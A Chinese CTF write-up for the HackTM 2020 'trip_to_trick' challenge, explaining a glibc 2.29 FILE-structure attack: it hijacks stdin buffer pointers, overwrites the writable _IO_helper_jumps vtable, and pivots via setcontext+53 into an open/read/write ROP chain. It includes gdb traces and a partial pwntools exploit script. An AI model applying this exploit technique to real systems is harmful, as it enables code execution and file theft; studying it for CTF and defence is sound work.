前言
前几天打了HackTM CTF
,遇到了这样一道在glibc 2.29
下的文件利用的新型题目,虽然是用了更新的glibc,但是glibc2.29
的一个新特性使得解决方法比低版本的glibc文件利用更简单了一些,这里同大家分享一下。
HackTM CTF 2020->trip_to_trick
程序分析
文件为64位程序,保护全开,逻辑很简单,开头的gift
输出了system
函数的libc地址,在给定libc的条件下我们可以根据其在libc中的偏移计算得到libc基地址。之后有两次地址任意写的机会,最后关闭了stdout
、stdin
以及stderr
。
在程序的开头有一个nohack
函数,可以看到出题人调用mprotect
把从&stdout[10]._IO_write_end
开始的0x700字节设置为了只读,避免我们修改其中的值,这块区域我们动态调试看下,发现其内容是很多形如_IO*_jumps
的vtable
,也就是让这些vtable
只读不可写。
int nohack()
{
if ( ((_WORD)stdout + 0x8A0) & 0xFFF )
{
puts("mprotect error");
exit(1);
}
return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);// 可读
}
gdb-peda$ p & _IO_2_1_stdout_
$6 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_>
gdb-peda$ x/8gx 0x7ffff7f6c760+0x8a0
0x7ffff7f6d000 <_IO_wfile_jumps_mmap+160>: 0x00007ffff7e19940 0x0000000000000000
0x7ffff7f6d010: 0x0000000000000000 0x0000000000000000
0x7ffff7f6d020 <_IO_wfile_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7f6d030 <_IO_wfile_jumps+16>: 0x00007ffff7e15ff0 0x00007ffff7e10140
gdb-peda$ vmmap 0x7ffff7f6d000
Start End Perm Name
0x00007ffff7f6d000 0x00007ffff7f6e000 r--p /usr/lib/x86_64-linux-gnu/libc-2.29.so
此外程序开了沙箱,其规则如下,给open/read/write/mmap/mprotect/brk/rt_sigreturn/exitexit_group
这些系统调用开了白名单,其余一律禁掉。
wz@wz-virtual-machine:~/Desktop/CTF/BitsCTF/trip_to_trick1$ seccomp-tools dump ./trip_to_trick
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0b 0xffffffff if (A != 0xffffffff) goto 0016
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0015
0009: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0015
0010: 0x15 0x04 0x00 0x0000000a if (A == mprotect) goto 0015
0011: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0015
0012: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0015
0013: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0015
0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v4; // [rsp+18h] [rbp-18h]
__int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
v5 = 0LL;
sandbox();
nohack();
main_init();
printf("gift : %p\n", &system);
printf("1 : ");
__isoc99_scanf("%llx %llx", &v4, &v5);
*v4 = v5; // 一次任意地址写
printf("2 : ", &v4); // can we leak this time?
__isoc99_scanf("%llx %llx", &v4, &v5);
*v4 = v5; // retn_addr = sth to go on rop?
fclose(stdout);
fclose(stdin);
fclose(stderr);
return 0;
}
漏洞利用
在之前的glibc pwn中我们大都做过无输出的glibc泄露型题目,即通过修改_IO_write_base
输出_IO_write_base
到_IO_write_ptr
的所有内容,最开始我的思路是一次任意写将_IO_write_ptr
改成environ
,从而泄露出stack
相关地址,下一次的任意地址写向返回地址写入gadget
,这种思路在没开沙箱以及没关闭输入输出流的情况下或许可行,但是沙箱使得我们无法getshell,而关闭输入输出也使得我们无法控制进行更多输入来构造rop chain
。这种情况下其实就暗示了我们需要从文件利用入手,且关注点应该放在fclose
上。
gdb-peda$ p _IO_2_1_stdout_
$3 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}
那么我们先分析一下fclose
的源码,其核心函数是位于/libio/iofclose.c
的_IO_new_fclose
函数,其大致流程是:首先检查文件结构体指针,之后使用_IO_un_link
将文件结构体从_IO_list_all
链表取下,_IO_file_close_it
会最终调用系统调用关闭文件描述符,之后调用_IO_FINISH(fp)
,如果并非stdin/stdout/stderr
最后调用free(fp)
释放结构体指针。关于fclose
等函数的详细分析可以参见raycp
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_flags = 0;
free(fp);
}
return status;
}
看一下这里的_IO_FINISH
,会发现是一个宏,其实际上是vtable
的函数指针
/* The 'finish' function does any final cleaning up of an _IO_FILE object.
It does not delete (free) it, but does everything else to finalize it.
It matches the streambuf::~streambuf virtual destructor. */
typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
核心的实现为_IO_new_file_finish
函数,里面调用了_IO_default_finish (fp, 0);
,再往后我们不需要再跟了,因为这里我们发现函数的调用方式及参数是固定的,如果我们能控制vtable
及参数即可劫持执行流。
void
_IO_new_file_finish (FILE *fp, int dummy)
{
if (_IO_file_is_open (fp))
{
_IO_do_flush (fp);
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE (fp);
}
_IO_default_finish (fp, 0);
}
那么下面就有了俩问题,一是如何控制输入可以覆盖到文件结构体的vtable
?二是自glibc 2.24后加入了vtable_check
机制,要如何伪造vtable
以及改写vtable
呢?
我们先来看第一个问题。
控制输入
这个题目和WCTF2016
的一道wannaheap
非常相似,原题现也已放在pwnable.tw
,可以参见FlappyPig的分析,其大致原理和刚才所说的stdout
输入相似,即当我们能够控制_IO_2_1_stdin_
的_IO_buf_base
以及_IO_buf_end
字段,我们的输入将落在_IO_buf_base
到_IO_buf_end
之间的区域。因此我们用第一次的任意地址写将_IO_buf_end
改到value
,之后就可以控制_IO_buf_base
到value
之间的所有值,同理如果我们修改_IO_buf_base
的值为value
,我们也能控制val
到_IO_buf_end
的这块空间。
gdb-peda$ p _IO_2_1_stdin_
$9 = {
file = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7f6ba84 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e590 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6bae0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}
伪造|修改 vtable
在glibc 2.23的house-of-orange
利用中我们已经有了一套成熟的流程来伪造vtable
到堆上并在堆上布置函数指针的方式来劫持执行流,但是在glibc 2.24之后由于有vtable_check
的存在,我们的vtable
必须要处于__start___libc_IO_vtables
和 __start___libc_IO_vtables
之间,因此我们伪造的vtable必须是其原有的vtable
,这一点在house of orange in glibc 2.24解释的很清楚。此外有了vtable
,最大的难题是按照我们以往经验,在glibc 2.23
以及glibc 2.27
其都是不可写的。我们可以找俩vtable分别验证一下,显示确实只读。不过到这里回想下既然都可读,为什么出题人多此一举要再把一些vtable
改成只读呢,这里其实已经暗示了,vtable在glibc 2.29是可写的
。这里我们换一个不在这块被修改了权限区域的vtable
,查看其权限,确实可写。
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
gdb-peda$ p & _IO_file_jumps
$2 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
gdb-peda$ vmmap 0x7ffff7dd06e0
Start End Perm Name
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
pwndbg> p & _IO_helper_jumps
$1 = (const struct _IO_jump_t *) 0x7ffff7b86820 <_IO_helper_jumps>
pwndbg> vmmap 0x7ffff7b86820
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7b86000 0x7ffff7b8a000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
pwndbg>
gdb-peda$ p & _IO_helper_jumps
$1 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps>
gdb-peda$ vmmap 0x7ffff7f6ca20
Start End Perm Name
0x00007ffff7f6b000 0x00007ffff7f6d000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.29.so
gdb-peda$ p _IO_helper_jumps
$13 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e0d600 <__GI__IO_wdefault_finish>,
__overflow = 0x7ffff7e01250 <_IO_helper_overflow>,
__underflow = 0x7ffff7e18140 <_IO_default_underflow>,
__uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>,
__xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>,
__seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>,
__seekpos = 0x7ffff7e18800 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>,
__sync = 0x7ffff7e18a60 <_IO_default_sync>,
__doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>,
__read = 0x7ffff7e19910 <_IO_default_read>,
__write = 0x7ffff7e19920 <_IO_default_write>,
__seek = 0x7ffff7e198f0 <_IO_default_seek>,
__close = 0x7ffff7e18a60 <_IO_default_sync>,
__stat = 0x7ffff7e19900 <_IO_default_stat>,
__showmanyc = 0x0,
__imbue = 0x0
}
最终利用思路
这里我们发现自己的思路是可行的,还有一个关键问题是如何寻找合适的vtable
,这里我的方法就比较无脑了,首先拿vscode
全局搜索_IO_jump_t
,找到一个这种类型的变量记录下名称到gdb
中查看其权限,最后选择_IO_helper_jumps
这个vtable
。
所以最后我们的利用链是:
- 拿一次任意地址写将
_IO_buf_end
改为_IO_helper_jumps_addr+0x200
,调试可以发现stdout
在`_IO_helper_jumps_addr
前面,这样保证都可以覆盖到,至于为什么目标是stdout
是因为我们fclose的第一个对象是stdout
- 构造
payload
,覆写_IO_2_1_stdout_
的vtable
为_IO_helper_jumps
,覆写_IO_helper_jumps
的__GI__IO_wdefault_finish
为setcontext+53
,只要我们可以控制rdx+*
的区域就可以控制其参数 - 根据setcontext的参数对应,这里
rcx
是ret之后执行的rip
,我们设置其为一个leav;ret
的gadget,在rbp
设置我们rop chain
的地址-8,栈迁移之后调用open/read/write
系统调用,至于rop chain
,我们把它布置到main_arena
前一大段零字节区域。
gdb-peda$ p & setcontext
$14 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext>
gdb-peda$ x/32i 0x7ffff7ddce00+53
0x7ffff7ddce35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7ddce3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7ddce43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7ddce47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7ddce4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7ddce4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7ddce53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7ddce57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7ddce5e <setcontext+94>: push rcx
0x7ffff7ddce5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7ddce63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7ddce67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7ddce6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28]
0x7ffff7ddce72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30]
0x7ffff7ddce76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7ddce7d <setcontext+125>: xor eax,eax
0x7ffff7ddce7f <setcontext+127>: ret
调试
上述利用思路3里有一个核心的部分是控制rdx
,这里有一个简单的方法来迅速验证某些猜想,即在gdb中使用强制修改内存的方式模拟溢出过程,比如这里我们希望查看调用setcontext+53
时候的情况,使用set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20
修改stdout的vtable为_IO_helper_jumps
,使用set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35
修改_IO_helper_jumps->__finish
为setcontext+53
,
gdb-peda$ p & _IO_2_1_stdout_
$1 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_>
gdb-peda$ p _IO_2_1_stdout_
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}
gdb-peda$ telescope 0x7ffff7f6c760 40
0000| 0x7ffff7f6c760 --> 0xfbad2887
0008| 0x7ffff7f6c768 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0016| 0x7ffff7f6c770 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0024| 0x7ffff7f6c778 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0032| 0x7ffff7f6c780 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0040| 0x7ffff7f6c788 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0048| 0x7ffff7f6c790 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0056| 0x7ffff7f6c798 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0064| 0x7ffff7f6c7a0 --> 0x7ffff7f6c7e4 --> 0xf7f6e58000000000
0072| 0x7ffff7f6c7a8 --> 0x0
0080| 0x7ffff7f6c7b0 --> 0x0
0088| 0x7ffff7f6c7b8 --> 0x0
0096| 0x7ffff7f6c7c0 --> 0x0
0104| 0x7ffff7f6c7c8 --> 0x7ffff7f6ba00 --> 0xfbad208b
0112| 0x7ffff7f6c7d0 --> 0x1
0120| 0x7ffff7f6c7d8 --> 0xffffffffffffffff
0128| 0x7ffff7f6c7e0 --> 0x0
0136| 0x7ffff7f6c7e8 --> 0x7ffff7f6e580 --> 0x0
0144| 0x7ffff7f6c7f0 --> 0xffffffffffffffff
0152| 0x7ffff7f6c7f8 --> 0x0
0160| 0x7ffff7f6c800 --> 0x7ffff7f6b8c0 --> 0x0
0168| 0x7ffff7f6c808 --> 0x0
0176| 0x7ffff7f6c810 --> 0x0
0184| 0x7ffff7f6c818 --> 0x0
0192| 0x7ffff7f6c820 --> 0xffffffff
--More--(25/40)0200| 0x7ffff7f6c828 --> 0x0
0208| 0x7ffff7f6c830 --> 0x0
0216| 0x7ffff7f6c838 --> 0x7ffff7f6d560 --> 0x0
gdb-peda$ p & _IO_helper_jumps
$3 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps>
gdb-peda$ telescope 0x7ffff7f6ca20
0000| 0x7ffff7f6ca20 --> 0x0
0008| 0x7ffff7f6ca28 --> 0x0
0016| 0x7ffff7f6ca30 --> 0x7ffff7e0d600 (<__GI__IO_wdefault_finish>: push rbx)
0024| 0x7ffff7f6ca38 --> 0x7ffff7e01250 (<_IO_helper_overflow>: push r13)
0032| 0x7ffff7f6ca40 --> 0x7ffff7e18140 (<_IO_default_underflow>: mov eax,0xffffffff)
0040| 0x7ffff7f6ca48 --> 0x7ffff7e18150 (<__GI__IO_default_uflow>: push rbp)
0048| 0x7ffff7f6ca50 --> 0x7ffff7e0d430 (<__GI__IO_wdefault_pbackfail>: push r15)
0056| 0x7ffff7f6ca58 --> 0x7ffff7e0d760 (<__GI__IO_wdefault_xsputn>: push r15)
gdb-peda$ p & setcontext
$5 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext>
gdb-peda$ x/8i 0x7ffff7ddce00+53
0x7ffff7ddce35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7ddce3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7ddce43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7ddce47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7ddce4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7ddce4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7ddce53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7ddce57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
效果如下,可以看到调用setcontext+53
的时候其参数寄存器rdx
的内容为_IO_helper_jumps
,后面的部分均可控,至此,我们完成了漏洞利用的全过程。
gdb-peda$ set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20
gdb-peda$ set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35
gdb-peda$ p _IO_2_1_stdout_
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f6ca20 <_IO_helper_jumps>
}
gdb-peda$ p _IO_helper_jumps
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7ddce35 <setcontext+53>,
__overflow = 0x7ffff7e01250 <_IO_helper_overflow>,
__underflow = 0x7ffff7e18140 <_IO_default_underflow>,
__uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>,
__xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>,
__seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>,
__seekpos = 0x7ffff7e18800 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>,
__sync = 0x7ffff7e18a60 <_IO_default_sync>,
__doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>,
__read = 0x7ffff7e19910 <_IO_default_read>,
__write = 0x7ffff7e19920 <_IO_default_write>,
__seek = 0x7ffff7e198f0 <_IO_default_seek>,
__close = 0x7ffff7e18a60 <_IO_default_sync>,
__stat = 0x7ffff7e19900 <_IO_default_stat>,
__showmanyc = 0x0,
__imbue = 0x0
}
gdb-peda$ p $rdx
$4 = 0x7ffff7f6c960
gdb-peda$ x/8gx 0x7ffff7f6c960
0x7ffff7f6c960 <_IO_helper_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7f6c970 <_IO_helper_jumps+16>: 0x00007ffff7e18a70 0x00007ffff7dfb530
0x7ffff7f6c980 <_IO_helper_jumps+32>: 0x00007ffff7e18140 0x00007ffff7e18150
0x7ffff7f6c990 <_IO_helper_jumps+48>: 0x00007ffff7e197b0 0x00007ffff7e181b0
exp.py
代码写的很无脑,关掉地址随机化查看内存内容之后加上偏移,保证其余部分不变,有余力的朋友可以dump下内存自动化地构造payload。
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./trip_to_trick')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./trip_to_trick')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def exp():
#leak libc
#raw_input()
p.recvuntil("gift : 0x")
libc_base = int(p.recvline().strip('\n'),16) - libc.sym['system']
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr = libc.sym['_IO_2_1_stderr_']
environ = libc.sym['environ']
IO_helper_jumps = libc_base + (0x7ffff7f6ca20 - 0x7ffff7d87000)
static_libc = 0x7ffff7d87000
#gdb.attach(p,'b* 0x0000555555554000+0x1527')
p.recvuntil("1 : ")
p.sendline(hex(stdin+0x40))#_IO_buf_end
p.sendline(hex(IO_helper_jumps+0x200))#_IO_buf_base
#huge payload
payload = '\x0a'+'\x00'*4
layout = [
libc_base + (0x7ffff7f6e590-static_libc),
0xffffffffffffffff,
0x0,
0x7ffff7f6bae0,
0x0,
0x0,
0x0,
0xffffffff,
libc_base + (0x7ffff7f6bac8-static_libc),
0x0,
0x7ffff7f6d560
]
layout = flat(layout)
payload += layout
#start with 0x7ffff7f6bae0
fake_top_chunk = libc_base + (0x7ffff7f6bae0-static_libc)
part2 = p64(0)+p64(0x10000-(fake_top_chunk&0xf000)+1)
arg_list = [libc_base+(0x7ffff7f6ca10-static_libc),libc_base+(0x7ffff7f6ca50-static_libc)]
leave_ret = libc_base + 0x0000000000058373
p_rdx_rsi = libc_base + 0x000000000012bdc9
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rops = p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rdx_rsi)+p64(0x20)+p64(arg_list[1])
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(2)
rops += p64(p_rsi)+p64(arg_list[1])
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
print len(rops)
